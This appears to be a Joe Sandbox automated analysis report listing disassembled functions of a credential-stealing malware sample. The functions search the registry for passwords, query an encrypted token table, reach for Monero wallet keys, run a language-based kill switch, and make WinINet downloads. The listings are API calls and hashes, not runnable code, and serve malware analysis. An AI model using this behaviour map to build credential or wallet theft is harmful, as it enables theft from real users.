Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 76bf57684d7b4d96e1615973c33085db935b7a9e09a74d9004dbeaa1519d7f5a
Instruction ID: 801508d4c17982154f4783e8c7ae85dd935bcfa1ea37aada6fe931c589e4242f
Opcode Fuzzy Hash: 76bf57684d7b4d96e1615973c33085db935b7a9e09a74d9004dbeaa1519d7f5a
Instruction Fuzzy Hash: B35190B1900718AFDF21EF60CC4ABEE77B8FB44305F0085D8A605AB181DB746A89DF95

Function 003872D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0038733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 003873B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0038740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00387452
HeapFree.KERNEL32(00000000), ref: 00387459
task.LIBCPMTD ref: 00387555

Strings

Password, xrefs: 00387401

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 36ad92d0c852bcc6a75d82e04cda00479c16c7d8f618b1d0d8e738d1bf6887f7
Instruction ID: 0257cf703ac0bb36b62e345ead26a3c03a56f76d9a1a426b4b620f5f404b36b8
Opcode Fuzzy Hash: 36ad92d0c852bcc6a75d82e04cda00479c16c7d8f618b1d0d8e738d1bf6887f7
Instruction Fuzzy Hash: 16613BB580426C9BDB25EB50CC45FDAB7B9FF44304F1081E9E649AA141DBB09BC9CFA1

Function 003940B0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,00E3D620,00000000,00020119,?), ref: 003940F4
RegQueryValueExA.ADVAPI32(?,00E3E5D8,00000000,00000000,00000000,000000FF), ref: 00394118
RegCloseKey.ADVAPI32(?), ref: 00394122
lstrcat.KERNEL32(?,00000000), ref: 00394147
lstrcat.KERNEL32(?,00E3E620), ref: 0039415B

Strings

, xrefs: 00394233
, xrefs: 0039414D

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID: $
API String ID: 690832082-1568808812
Opcode ID: 7d106905d594611ce35351b287359d5b8648642e7e66f62dab909754a20236cb
Instruction ID: d151493793ad9709ab334dca937bede1bb1ded965656a3f3972f70a333d3f370
Opcode Fuzzy Hash: 7d106905d594611ce35351b287359d5b8648642e7e66f62dab909754a20236cb
Instruction Fuzzy Hash: 8B4187B6D0020C6BDF15FBA0EC46FFE777DAB98304F004558B6199A181EA755B8C8BD2

Function 0038BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Part of subcall function 0039A9B0: lstrlen.KERNEL32(?,00E39168,?,\Monero\wallet.keys,003A0E17), ref: 0039A9C5
Part of subcall function 0039A9B0: lstrcpy.KERNEL32(00000000), ref: 0039AA04
Part of subcall function 0039A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0039AA12

Part of subcall function 0039A920: lstrcpy.KERNEL32(00000000,?), ref: 0039A972
Part of subcall function 0039A920: lstrcat.KERNEL32(00000000), ref: 0039A982

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

Part of subcall function 0039A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0039A7E6

lstrlen.KERNEL32(00000000), ref: 0038BC9F

Part of subcall function 00398E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00398E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0038BCCD
lstrlen.KERNEL32(00000000), ref: 0038BDA5
lstrlen.KERNEL32(00000000), ref: 0038BDB9

Strings

AccountId, xrefs: 0038BCC4
SELECT service, encrypted_token FROM token_service, xrefs: 0038BBEB
AccountTokens, xrefs: 0038BABA
AccountTokens, xrefs: 0038BB49

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 7b0776277699f218ba864e62308f9e823e188708d95b25aedd59999d087f822a
Instruction ID: 67c0bd1e56b15e401caf2c0f9e538af44717d56aa04d88ec3af7af763cc8b6ea
Opcode Fuzzy Hash: 7b0776277699f218ba864e62308f9e823e188708d95b25aedd59999d087f822a
Instruction Fuzzy Hash: 83B141729106189BDF06FBA0DD96EEE7778BF54300F404258F506AA091EF346E49DBE2

Function 00396770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00396774
ExitProcess.KERNEL32 ref: 003967A5
ExitProcess.KERNEL32 ref: 003967AF
ExitProcess.KERNEL32 ref: 003967B9
ExitProcess.KERNEL32 ref: 003967C3
ExitProcess.KERNEL32 ref: 003967CD

Strings

*, xrefs: 0039678C

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 2b566722f51e37453ee8ee065ca5b3221a9a7f43ebfb754635db2598cdba3ceb
Instruction ID: 79a8265c5936548aa9c5a27bd38ea24e9cc9f2bf2a862d9709ccbc26b039a99a
Opcode Fuzzy Hash: 2b566722f51e37453ee8ee065ca5b3221a9a7f43ebfb754635db2598cdba3ceb
Instruction Fuzzy Hash: 9FF05E3590520DEFD7449FE0ED1EB2C7FB4FB1470BF040199E60986290D6704B46AB96

Function 00394780 Relevance: 12.1, APIs: 7, Strings: 1, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,00E3E470), ref: 003947DB

Part of subcall function 00398DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00398E0B

lstrcat.KERNEL32(?,00000000), ref: 00394801
lstrcat.KERNEL32(?,?), ref: 00394820
lstrcat.KERNEL32(?,?), ref: 00394834
lstrcat.KERNEL32(?,00E2B5E0), ref: 00394847
lstrcat.KERNEL32(?,?), ref: 0039485B
lstrcat.KERNEL32(?,00E3D6E0), ref: 0039486F

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Part of subcall function 00398D90: GetFileAttributesA.KERNEL32(00000000,?,00381B54,?,?,003A564C,?,?,003A0E1F), ref: 00398D9F

Part of subcall function 00394570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00394580
Part of subcall function 00394570: RtlAllocateHeap.NTDLL(00000000), ref: 00394587
Part of subcall function 00394570: wsprintfA.USER32 ref: 003945A6
Part of subcall function 00394570: FindFirstFileA.KERNEL32(?,?), ref: 003945BD

Strings

p, xrefs: 003947CD

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID: p
API String ID: 2540262943-2678736219
Opcode ID: 8f0cf2a26f38902b8e247d5a0c2c5906185ebdd31018c958c6d3f14b4ccf1214
Instruction ID: 8ab92cd689779097317d1f8185965364b3abbca654ce664b8130c6dff7d0d0ac
Opcode Fuzzy Hash: 8f0cf2a26f38902b8e247d5a0c2c5906185ebdd31018c958c6d3f14b4ccf1214
Instruction Fuzzy Hash: F13184B290021C5BCF12F7B0DC85EE9777CAB58704F404589B315EA081EE749B8ECB95

Function 00384FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00384FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00384FD1
InternetOpenA.WININET(003A0DDF,00000000,00000000,00000000,00000000), ref: 00384FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00385011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00385041
InternetCloseHandle.WININET(?), ref: 003850B9
InternetCloseHandle.WININET(?), ref: 003850C6

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 2c917e028d8865ad514425ac79393382a208bc0e1a6531e226e9d6235ca2e03e
Instruction ID: ea220e00e2ccf6ac37472721f7dbcfe6e826e6c93e8f7c3b46c76359424170b0
Opcode Fuzzy Hash: 2c917e028d8865ad514425ac79393382a208bc0e1a6531e226e9d6235ca2e03e
Instruction Fuzzy Hash: A431F5F4A4021CABDB20DF54DC85BDCBBB4FB48708F1081D9EA09A7281C7706AC59F99

Function 003983DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00398426
wsprintfA.USER32 ref: 00398459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0039847B
RegCloseKey.ADVAPI32(00000000), ref: 0039848C
RegCloseKey.ADVAPI32(00000000), ref: 00398499

Part of subcall function 0039A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0039A7E6

RegQueryValueExA.ADVAPI32(00000000,00E3E350,00000000,000F003F,?,00000400), ref: 003984EC
lstrlen.KERNEL32(?), ref: 00398501
RegQueryValueExA.ADVAPI32(00000000,00E3E440,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,003A0B34), ref: 00398599
RegCloseKey.ADVAPI32(00000000), ref: 00398608
RegCloseKey.ADVAPI32(00000000), ref: 0039861A

Strings

%s\%s, xrefs: 0039844D

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: e4bb417d9937b2119fe535c10f980c29a88008b83c8b839fd1f3f95a3b22ffa4
Instruction ID: 3e6b7ed1cc97d9c1da75357b18dfc09011897963d97e64a7b6ce016433c36981
Opcode Fuzzy Hash: e4bb417d9937b2119fe535c10f980c29a88008b83c8b839fd1f3f95a3b22ffa4
Instruction Fuzzy Hash: BB21E77191022CAFDB24DB54DC85FE9B7B8FB48704F00C598E649A6140DF71AA85CFE4

Function 00397690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 003976A4
RtlAllocateHeap.NTDLL(00000000), ref: 003976AB
RegOpenKeyExA.ADVAPI32(80000002,00E2BE88,00000000,00020119,00000000), ref: 003976DD
RegQueryValueExA.ADVAPI32(00000000,00E3E2D8,00000000,00000000,?,000000FF), ref: 003976FE
RegCloseKey.ADVAPI32(00000000), ref: 00397708

Strings

Windows 11, xrefs: 003976BD

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: cb8db5e02f2800df3a77282e64789d8ef4bd6adad56fadcc4b767b83ff80461e
Instruction ID: d2e6878628788803fc740dcb17c03927ac5f5ad17e326620573cbb17d08cb6f6
Opcode Fuzzy Hash: cb8db5e02f2800df3a77282e64789d8ef4bd6adad56fadcc4b767b83ff80461e
Instruction Fuzzy Hash: 31014FB5A04608BFEB00DBE4DC49F7ABBB8EB58705F104454FA04D7291E67099089B51

Function 00397720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00397734
RtlAllocateHeap.NTDLL(00000000), ref: 0039773B
RegOpenKeyExA.ADVAPI32(80000002,00E2BE88,00000000,00020119,003976B9), ref: 0039775B
RegQueryValueExA.ADVAPI32(003976B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0039777A
RegCloseKey.ADVAPI32(003976B9), ref: 00397784

Strings

CurrentBuildNumber, xrefs: 00397771

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 08a8ea59ff27b3b53c6e1d2a04e8d88fabd05030b4b664760667eb91ad1d3b29
Instruction ID: a241734f3ffb934f4067e92453623950949a34bd48407d1420da31ee2bfcd2ff
Opcode Fuzzy Hash: 08a8ea59ff27b3b53c6e1d2a04e8d88fabd05030b4b664760667eb91ad1d3b29
Instruction Fuzzy Hash: FE0112B5A4030CBFEB00DBE4DC4AFBEBBB8EB58705F104559FA05A7281DB705A049B91

Function 003992E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(:9,80000000,00000003,00000000,00000003,00000080,00000000,?,00393AEE,?), ref: 003992FC
GetFileSizeEx.KERNEL32(000000FF,:9), ref: 00399319
CloseHandle.KERNEL32(000000FF), ref: 00399327

Strings

:9, xrefs: 003992F8, 003992FB
:9, xrefs: 00399311, 0039933D, 00399314

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

